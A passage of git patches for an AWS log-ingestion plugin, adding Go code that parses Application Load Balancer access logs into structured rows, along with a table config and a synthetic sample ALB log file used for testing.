docs/tables/todo.md | 3 +++ 2 files changed, 3 insertions(+) create mode 100644 docs/index.md create mode 100644 docs/tables/todo.md diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 00000000..e69de29b diff --git a/docs/tables/todo.md b/docs/tables/todo.md new file mode 100644 index 00000000..dbb47889 --- /dev/null +++ b/docs/tables/todo.md @@ -0,0 +1,3 @@ +# TODO + +- Add table docs! \ No newline at end of file From 16dd16fc84d3f936b07df0b87be095deccca6bcf Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 5 Nov 2024 15:36:20 +0700 Subject: [PATCH 065/180] fix --- aws/plugin.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/aws/plugin.go b/aws/plugin.go index a2edc638..1fa35e1f 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -2,6 +2,7 @@ package aws import ( "log/slog" + "time" "github.com/turbot/go-kit/helpers" "github.com/turbot/tailpipe-plugin-aws/config" @@ -21,7 +22,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { } }() slog.Info("AWS Plugin starting") - //time.Sleep(10 * time.Second) + time.Sleep(10 * time.Second) slog.Info("AWS Plugin started") p := &Plugin{ From 303f26be59e9f85e7180e48841103677160e6e79 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 6 Nov 2024 21:50:07 +0700 Subject: [PATCH 066/180] remove delay --- aws/plugin.go | 6 ------ 1 file changed, 6 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 1fa35e1f..5508a073 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,9 +1,6 @@ package aws import ( - "log/slog" - "time" - "github.com/turbot/go-kit/helpers" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/tables" @@ -21,9 +18,6 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { err = helpers.ToError(r) } }() - slog.Info("AWS Plugin starting") - time.Sleep(10 * time.Second) - slog.Info("AWS Plugin started") p := &Plugin{ PluginImpl: plugin.NewPluginImpl("aws", config.NewAwsConnection), From addc23fa9edde8f918a0eb26d38ff343521b6815 Mon Sep 17 00:00:00 2001 From: Jon Udell Date: Thu, 7 Nov 2024 14:45:45 +0700 Subject: [PATCH 067/180] Add alb (#12) --- aws/plugin.go | 1 + go.mod | 8 +- rows/alb_access_log.go | 218 + tables/alb_access_log_table.go | 233 + tables/alb_access_log_table_config.go | 25 + test/alb-test.log | 10000 ++++++++++++++++++++++++ test/alb-vs-elb.md | 174 + test/alb.sh | 1 + test/alb_generate.py | 268 + test/alb_queries.md | 183 + test/alb_queries.txt | 346 + test/alb_test.tpc | 11 + test/readme-chatgpt.md | 119 + test/readme-claude.md | 224 + 14 files changed, 11808 insertions(+), 3 deletions(-) create mode 100644 rows/alb_access_log.go create mode 100644 tables/alb_access_log_table.go create mode 100644 tables/alb_access_log_table_config.go create mode 100644 test/alb-test.log create mode 100644 test/alb-vs-elb.md create mode 100644 test/alb.sh create mode 100644 test/alb_generate.py create mode 100644 test/alb_queries.md create mode 100644 test/alb_queries.txt create mode 100644 test/alb_test.tpc create mode 100644 test/readme-chatgpt.md create mode 100644 test/readme-claude.md diff --git a/aws/plugin.go b/aws/plugin.go index 5508a073..c0f3506b 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -31,6 +31,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { tables.NewElbAccessLogTable, tables.NewS3ServerAccessLogTable, tables.NewLambdaLogTable, + tables.NewAlbAccessLogTable, // Add the ALB table here }, } diff --git a/go.mod b/go.mod index 90bd58be..6b00ad85 100644 --- a/go.mod +++ b/go.mod @@ -71,6 +71,7 @@ require ( github.com/google/uuid v1.6.0 // indirect github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect github.com/googleapis/gax-go/v2 v2.13.0 // indirect + github.com/gopherjs/gopherjs v1.17.2 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-getter v1.7.5 // indirect @@ -97,6 +98,7 @@ require ( github.com/jackc/pgx/v5 v5.6.0 // indirect github.com/jackc/puddle/v2 v2.2.1 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect + github.com/jtolds/gls v4.20.0+incompatible // indirect github.com/karrick/gows v0.3.0 // indirect github.com/klauspost/compress v1.17.2 // indirect github.com/leodido/go-urn v1.4.0 // indirect @@ -121,10 +123,11 @@ require ( github.com/rivo/uniseg v0.2.0 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect + github.com/satyrius/gonx v1.4.0 // indirect github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/sirupsen/logrus v1.9.3 // indirect - github.com/smartystreets/goconvey v1.8.1 // indirect + github.com/smarty/assertions v1.15.0 // indirect github.com/sourcegraph/conc v0.3.0 // indirect github.com/spf13/afero v1.11.0 // indirect github.com/spf13/cast v1.6.0 // indirect @@ -136,7 +139,6 @@ require ( github.com/tklauser/go-sysconf v0.3.9 // indirect github.com/tklauser/numcpus v0.3.0 // indirect github.com/tkrajina/go-reflector v0.5.6 // indirect - github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/pipes-sdk-go v0.9.1 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 // indirect @@ -180,7 +182,7 @@ require ( require ( github.com/google/go-cmp v0.6.0 github.com/rs/xid v1.5.0 - github.com/satyrius/gonx v1.4.0 github.com/stretchr/testify v1.9.0 + github.com/turbot/go-kit v0.10.0-rc.0 github.com/turbot/pipe-fittings v1.4.1 ) diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go new file mode 100644 index 00000000..464bac9c --- /dev/null +++ b/rows/alb_access_log.go @@ -0,0 +1,218 @@ +package rows + +import ( + "fmt" + "strconv" + "strings" + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" +) + +// AlbAccessLog represents a single ALB access log entry with enrichment fields +type AlbAccessLog struct { + // Embed required enrichment fields + enrichment.CommonFields + + // Standard ALB fields + Type string `json:"type"` + Timestamp time.Time `json:"timestamp"` + AlbName string `json:"alb_name"` + ClientIP string `json:"client_ip"` + ClientPort int `json:"client_port"` + TargetIP *string `json:"target_ip,omitempty"` + TargetPort int `json:"target_port"` + RequestProcessingTime float64 `json:"request_processing_time"` + TargetProcessingTime float64 `json:"target_processing_time"` + ResponseProcessingTime float64 `json:"response_processing_time"` + AlbStatusCode *int `json:"alb_status_code,omitempty"` + TargetStatusCode *int `json:"target_status_code,omitempty"` + ReceivedBytes *int64 `json:"received_bytes,omitempty"` + SentBytes *int64 `json:"sent_bytes,omitempty"` + Request string `json:"request"` + UserAgent string `json:"user_agent"` + SslCipher string `json:"ssl_cipher"` + SslProtocol string `json:"ssl_protocol"` + TargetGroupArn string `json:"target_group_arn"` + TraceId string `json:"trace_id"` + DomainName string `json:"domain_name"` + ChosenCertArn string `json:"chosen_cert_arn"` + MatchedRulePriority int `json:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time"` + ActionsExecuted string `json:"actions_executed"` + RedirectUrl *string `json:"redirect_url,omitempty"` + ErrorReason *string `json:"error_reason,omitempty"` + TargetList *string `json:"target_list,omitempty"` + TargetStatusList *string `json:"target_status_list,omitempty"` + Classification *string `json:"classification,omitempty"` + ClassificationReason *string `json:"classification_reason,omitempty"` +} + +// NewAlbAccessLog creates a new ALB access log entry +func NewAlbAccessLog() *AlbAccessLog { + return &AlbAccessLog{} +} + +// InitialiseFromMap initializes the struct from a map of string values +func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { + for key, value := range m { + switch key { + case "timestamp": + ts, err := time.Parse(time.RFC3339, value) + if err != nil { + return fmt.Errorf("error parsing timestamp: %w", err) + } + l.Timestamp = ts + l.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) + case "type": + l.Type = value + case "alb": + l.AlbName = value + case "client": + if value != "-" && strings.Contains(value, ":") { + parts := strings.Split(value, ":") + if len(parts) != 2 { + return fmt.Errorf("invalid client address format: %s", value) + } + l.ClientIP = parts[0] + l.TpSourceIP = &l.ClientIP + l.TpIps = append(l.TpIps, l.ClientIP) + + port, err := strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing client port: %w", err) + } + l.ClientPort = port + } + case "target": + if value != "-" && strings.Contains(value, ":") { + parts := strings.Split(value, ":") + if len(parts) != 2 { + return fmt.Errorf("invalid target address format: %s", value) + } + ip := parts[0] + l.TargetIP = &ip + l.TpDestinationIP = &ip + l.TpIps = append(l.TpIps, ip) + + port, err := strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing target port: %w", err) + } + l.TargetPort = port + } + case "request_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing request_processing_time: %w", err) + } + l.RequestProcessingTime = rpt + case "target_processing_time": + tpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing target_processing_time: %w", err) + } + l.TargetProcessingTime = tpt + case "response_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing response_processing_time: %w", err) + } + l.ResponseProcessingTime = rpt + case "alb_status_code": + if value != "-" { + code, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing alb_status_code: %w", err) + } + l.AlbStatusCode = &code + } + case "target_status_code": + if value != "-" { + code, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing target_status_code: %w", err) + } + l.TargetStatusCode = &code + } + case "received_bytes": + if value != "-" { + bytes, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing received_bytes: %w", err) + } + l.ReceivedBytes = &bytes + } + case "sent_bytes": + if value != "-" { + bytes, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing sent_bytes: %w", err) + } + l.SentBytes = &bytes + } + case "request": + l.Request = value + case "user_agent": + l.UserAgent = value + case "ssl_cipher": + l.SslCipher = value + case "ssl_protocol": + l.SslProtocol = value + case "target_group_arn": + l.TargetGroupArn = value + l.TpAkas = append(l.TpAkas, value) + case "trace_id": + l.TraceId = value + case "domain_name": + l.DomainName = value + if value != "-" { + l.TpDomains = append(l.TpDomains, value) + } + case "chosen_cert_arn": + l.ChosenCertArn = value + case "matched_rule_priority": + if value != "-" { + priority, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + l.MatchedRulePriority = priority + } + case "request_creation_time": + ts, err := time.Parse(time.RFC3339, value) + if err != nil { + return fmt.Errorf("error parsing request_creation_time: %w", err) + } + l.RequestCreationTime = ts + case "actions_executed": + l.ActionsExecuted = value + case "redirect_url": + if value != "-" { + l.RedirectUrl = &value + } + case "error_reason": + if value != "-" { + l.ErrorReason = &value + } + case "target_list": + if value != "-" { + l.TargetList = &value + } + case "target_status_list": + if value != "-" { + l.TargetStatusList = &value + } + case "classification": + if value != "-" { + l.Classification = &value + } + case "classification_reason": + if value != "-" { + l.ClassificationReason = &value + } + } + } + return nil +} \ No newline at end of file diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go new file mode 100644 index 00000000..d1ae12e7 --- /dev/null +++ b/tables/alb_access_log_table.go @@ -0,0 +1,233 @@ +package tables + +import ( + "context" + "fmt" + "time" + "strings" + "strconv" + + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// AlbLogMapper handles the mapping of ALB log lines to structured data +type AlbLogMapper struct{} + +func (m *AlbLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { + // Handle string input directly + lineStr, ok := data.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", data) + } + + // Create a new ALB log entry + logEntry := rows.NewAlbAccessLog() + + // Split the line and parse fields + // Using strings.Split to handle spaces between quoted strings + var fields []string + var currentField strings.Builder + inQuotes := false + + for _, char := range lineStr { + switch char { + case '"': + inQuotes = !inQuotes + case ' ': + if !inQuotes { + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + currentField.Reset() + } + } else { + currentField.WriteRune(char) + } + default: + currentField.WriteRune(char) + } + } + + // Add the last field + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + } + + if len(fields) < 27 { // Minimum required fields + return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) + } + + // Map fields to struct + logEntry.Type = fields[0] + + // Parse timestamp + timestamp, err := time.Parse(time.RFC3339Nano, fields[1]) + if err != nil { + return nil, fmt.Errorf("error parsing timestamp: %w", err) + } + logEntry.Timestamp = timestamp + + // ALB name + logEntry.AlbName = fields[2] + + // Parse client address + clientParts := strings.Split(fields[3], ":") + if len(clientParts) == 2 { + logEntry.ClientIP = clientParts[0] + port, err := strconv.Atoi(clientParts[1]) + if err == nil { + logEntry.ClientPort = port + } + } + + // Parse target address + if fields[4] != "-" { + targetParts := strings.Split(fields[4], ":") + if len(targetParts) == 2 { + logEntry.TargetIP = &targetParts[0] + port, err := strconv.Atoi(targetParts[1]) + if err == nil { + logEntry.TargetPort = port + } + } + } + + // Parse processing times + if rpt, err := strconv.ParseFloat(fields[5], 64); err == nil { + logEntry.RequestProcessingTime = rpt + } + if tpt, err := strconv.ParseFloat(fields[6], 64); err == nil { + logEntry.TargetProcessingTime = tpt + } + if rpt, err := strconv.ParseFloat(fields[7], 64); err == nil { + logEntry.ResponseProcessingTime = rpt + } + + // Status codes + if statusCode, err := strconv.Atoi(fields[8]); err == nil { + logEntry.AlbStatusCode = &statusCode + } + if statusCode, err := strconv.Atoi(fields[9]); err == nil { + logEntry.TargetStatusCode = &statusCode + } + + // Bytes + if received, err := strconv.ParseInt(fields[10], 10, 64); err == nil { + logEntry.ReceivedBytes = &received + } + if sent, err := strconv.ParseInt(fields[11], 10, 64); err == nil { + logEntry.SentBytes = &sent + } + + // Remove quotes from quoted fields + logEntry.Request = strings.Trim(fields[12], "\"") + logEntry.UserAgent = strings.Trim(fields[13], "\"") + logEntry.SslCipher = fields[14] + logEntry.SslProtocol = fields[15] + logEntry.TargetGroupArn = fields[16] + logEntry.TraceId = strings.Trim(fields[17], "\"") + logEntry.DomainName = strings.Trim(fields[18], "\"") + logEntry.ChosenCertArn = strings.Trim(fields[19], "\"") + + // Parse matched rule priority + if priority, err := strconv.Atoi(fields[20]); err == nil { + logEntry.MatchedRulePriority = priority + } + + // Parse request creation time + reqCreationTime, err := time.Parse(time.RFC3339Nano, fields[21]) + if err == nil { + logEntry.RequestCreationTime = reqCreationTime + } + + // Handle remaining fields + logEntry.ActionsExecuted = strings.Trim(fields[22], "\"") + redirectURL := strings.Trim(fields[23], "\"") + if redirectURL != "-" { + logEntry.RedirectUrl = &redirectURL + } + errorReason := strings.Trim(fields[24], "\"") + if errorReason != "-" { + logEntry.ErrorReason = &errorReason + } + targetList := strings.Trim(fields[25], "\"") + if targetList != "-" { + logEntry.TargetList = &targetList + } + targetStatusList := strings.Trim(fields[26], "\"") + if targetStatusList != "-" { + logEntry.TargetStatusList = &targetStatusList + } + + return []*rows.AlbAccessLog{logEntry}, nil +} + +func (m *AlbLogMapper) Identifier() string { + return "alb_log_mapper" +} + +type AlbAccessLogTable struct { + table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] +} + +func NewAlbAccessLogTable() table.Table { + return &AlbAccessLogTable{} +} + +func (t *AlbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + if err := t.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + // Set the mapper + t.Mapper = &AlbLogMapper{} + return nil +} + +func (t *AlbAccessLogTable) Identifier() string { + return "aws_alb_access_log" +} + +func (t *AlbAccessLogTable) GetRowSchema() any { + return &rows.AlbAccessLog{} +} + +func (t *AlbAccessLogTable) GetConfigSchema() parse.Config { + return &AlbAccessLogTableConfig{} +} + +func (t *AlbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + return []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + } +} + +func (t *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpSourceType = "aws_alb_access_log" + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + + // Set partition + row.TpPartition = t.Identifier() + + // Use ALB name as the index + row.TpIndex = row.AlbName + + // Set date in yyyy-mm-dd format + row.TpDate = row.Timestamp.Format("2006-01-02") + + return row, nil +} \ No newline at end of file diff --git a/tables/alb_access_log_table_config.go b/tables/alb_access_log_table_config.go new file mode 100644 index 00000000..5e47d05d --- /dev/null +++ b/tables/alb_access_log_table_config.go @@ -0,0 +1,25 @@ +package tables + +import ( + "github.com/hashicorp/hcl/v2" +) + +type AlbAccessLogTableConfig struct { + // Required to allow partial decoding + Remain hcl.Body `hcl:",remain" json:"-"` + + // Optional: Custom log format if not using default + LogFormat *string `json:"log_format,omitempty" hcl:"log_format,optional"` + + // Optional: File pattern for S3 bucket source + FilePattern *string `json:"file_pattern,omitempty" hcl:"file_pattern,optional"` + + // Optional: Timezone for parsing timestamps + Timezone *string `json:"timezone,omitempty" hcl:"timezone,optional"` +} + +func (c *AlbAccessLogTableConfig) Validate() error { + // By default, use built-in ALB log format + // Add any additional validation as needed + return nil +} \ No newline at end of file diff --git a/test/alb-test.log b/test/alb-test.log new file mode 100644 index 00000000..48cdc096 --- /dev/null +++ b/test/alb-test.log @@ -0,0 +1,10000 @@ +https 2024-11-01T00:00:00.000000Z prod-web-alb 241.47.210.35:52624 10.0.64.106:443 0.020459 0.489612 0.003218 404 404 973 5990 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b790-388aaef9d0cc499c84d20d07" "prod-web-alb.example.com" "-" 3 2024-11-01T00:00:00.000000Z "forward" "-" "-" "10.0.64.106:443" "404" "-" "-" +https 2024-11-01T00:00:01.133915Z prod-web-alb 60.93.163.4:28176 10.0.245.168:443 0.001681 0.353852 0.008242 200 200 546 1074 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b791-1ee8cdbdab2546cba89f5801" "prod-web-alb.example.com" "-" 1 2024-11-01T00:00:01.133915Z "forward" "-" "-" "10.0.245.168:443" "200" "-" "-" +http 2024-11-01T00:00:02.602543Z staging-alb 185.181.2.252:59466 133.231.59.228:443 0.045986 0.249708 0.001000 403 403 16 3694 "POST /administrator HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b792-4057155ab5cc4850b0fdf853" "-" "-" 4 2024-11-01T00:00:02.602543Z "forward" "-" "-" "133.231.59.228:443" "403" "-" "-" +https 2024-11-01T00:00:03.260505Z prod-web-alb 118.180.25.37:28778 10.0.254.171:443 0.018763 0.423066 0.038176 200 200 1 6970 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b793-fc5a8d562db14f309af3f491" "prod-web-alb.example.com" "-" 8 2024-11-01T00:00:03.260505Z "forward" "-" "-" "10.0.254.171:443" "200" "-" "-" +https 2024-11-01T00:00:04.130191Z staging-alb 236.174.35.232:18587 10.189.102.33:80 0.060734 0.558535 0.099738 200 200 203 9643 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b794-66104a2cb95b4ec48368573b" "staging-alb.example.com" "-" 10 2024-11-01T00:00:04.130191Z "forward" "-" "-" "10.189.102.33:80" "200" "-" "-" +http 2024-11-01T00:00:05.704421Z staging-alb 187.249.187.183:51252 89.136.170.239:8080 0.003362 0.483700 0.047135 200 200 273 11185 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b795-8eb7c41efa43422faf5a14ec" "staging-alb.example.com" "-" 0 2024-11-01T00:00:05.704421Z "forward" "-" "-" "89.136.170.239:8080" "200" "-" "-" +https 2024-11-01T00:00:06.529574Z staging-alb 169.39.23.56:11002 157.194.35.129:80 0.111311 0.203541 0.044249 200 200 746 14031 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b796-6590f2e393814eb0b653df6d" "staging-alb.example.com" "-" 6 2024-11-01T00:00:06.529574Z "forward" "-" "-" "157.194.35.129:80" "200" "-" "-" +https 2024-11-01T00:00:07.448815Z staging-alb 193.158.213.228:20429 216.106.234.114:80 0.029834 0.658993 0.103315 200 200 308 11094 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b797-ae73e89cdcad4cf184e2b989" "staging-alb.example.com" "-" 7 2024-11-01T00:00:07.448815Z "forward" "-" "-" "216.106.234.114:80" "200" "-" "-" +https 2024-11-01T00:00:08.938658Z staging-alb 50.86.225.8:33933 170.17.10.193:443 0.137132 0.294341 0.073129 200 200 132 5686 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b798-8cd2bd262c4542eab7e9ba8e" "staging-alb.example.com" "-" 4 2024-11-01T00:00:08.938658Z "forward" "-" "-" "170.17.10.193:443" "200" "-" "-" +http 2024-11-01T00:00:10.486028Z staging-alb 196.50.143.41:26168 251.212.251.218:80 0.080133 0.401843 0.082267 404 404 956 9673 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b79a-f2130a4cd7224d5fb19fd492" "staging-alb.example.com" "-" 6 2024-11-01T00:00:10.486028Z "forward" "-" "-" "251.212.251.218:80" "404" "-" "-" +https 2024-11-01T00:00:11.547814Z prod-api-alb 188.72.235.203:26067 10.0.205.142:443 0.007232 0.339578 0.054620 200 200 392 7342 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b79b-24610b8267d048c9aa9ae3a2" "prod-api-alb.example.com" "-" 6 2024-11-01T00:00:11.547814Z "forward" "-" "-" "10.0.205.142:443" "200" "-" "-" +https 2024-11-01T00:00:13.203414Z prod-web-alb 186.40.22.60:20342 10.0.75.16:443 0.041007 0.453504 0.084790 404 404 817 5265 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b79d-00b0e7bbfea64da3af187766" "prod-web-alb.example.com" "-" 6 2024-11-01T00:00:13.203414Z "forward" "-" "-" "10.0.75.16:443" "404" "-" "-" +https 2024-11-01T00:00:13.538149Z prod-api-alb 110.184.184.15:24837 10.0.3.153:443 0.034021 0.224298 0.021518 200 200 496 14565 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b79d-167dc753e4ea4300b394774a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:13.538149Z "forward" "-" "-" "10.0.3.153:443" "200" "-" "-" +http 2024-11-01T00:00:14.078793Z staging-alb 30.87.119.104:58284 77.83.255.13:443 0.097403 0.116448 0.103008 200 200 76 12191 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b79e-bd4b9f37468549a39fbe4bfb" "staging-alb.example.com" "-" 1 2024-11-01T00:00:14.078793Z "forward" "-" "-" "77.83.255.13:443" "200" "-" "-" +https 2024-11-01T00:00:15.990781Z prod-web-alb 216.26.47.149:23715 10.0.251.227:443 0.019232 0.453156 0.015433 301 301 772 5249 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b79f-dc829cf42b3147fcbd4c3aa2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:00:15.990781Z "forward" "-" "-" "10.0.251.227:443" "301" "-" "-" +https 2024-11-01T00:00:16.823376Z prod-web-alb 98.147.178.37:51867 10.0.206.205:443 0.076840 0.306907 0.080754 301 301 361 7585 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a0-a3abe3e60f5b47ff83724043" "prod-web-alb.example.com" "-" 10 2024-11-01T00:00:16.823376Z "forward" "-" "-" "10.0.206.205:443" "301" "-" "-" +https 2024-11-01T00:00:18.481926Z prod-web-alb 27.139.209.21:27301 10.0.228.212:443 0.023931 0.295463 0.011605 200 200 451 8660 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a2-3069bdacaf6d48e8b981a5a5" "prod-web-alb.example.com" "-" 8 2024-11-01T00:00:18.481926Z "forward" "-" "-" "10.0.228.212:443" "200" "-" "-" +https 2024-11-01T00:00:19.346602Z prod-api-alb 165.221.82.184:54796 10.0.230.192:443 0.008417 0.434475 0.057612 200 200 762 13020 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 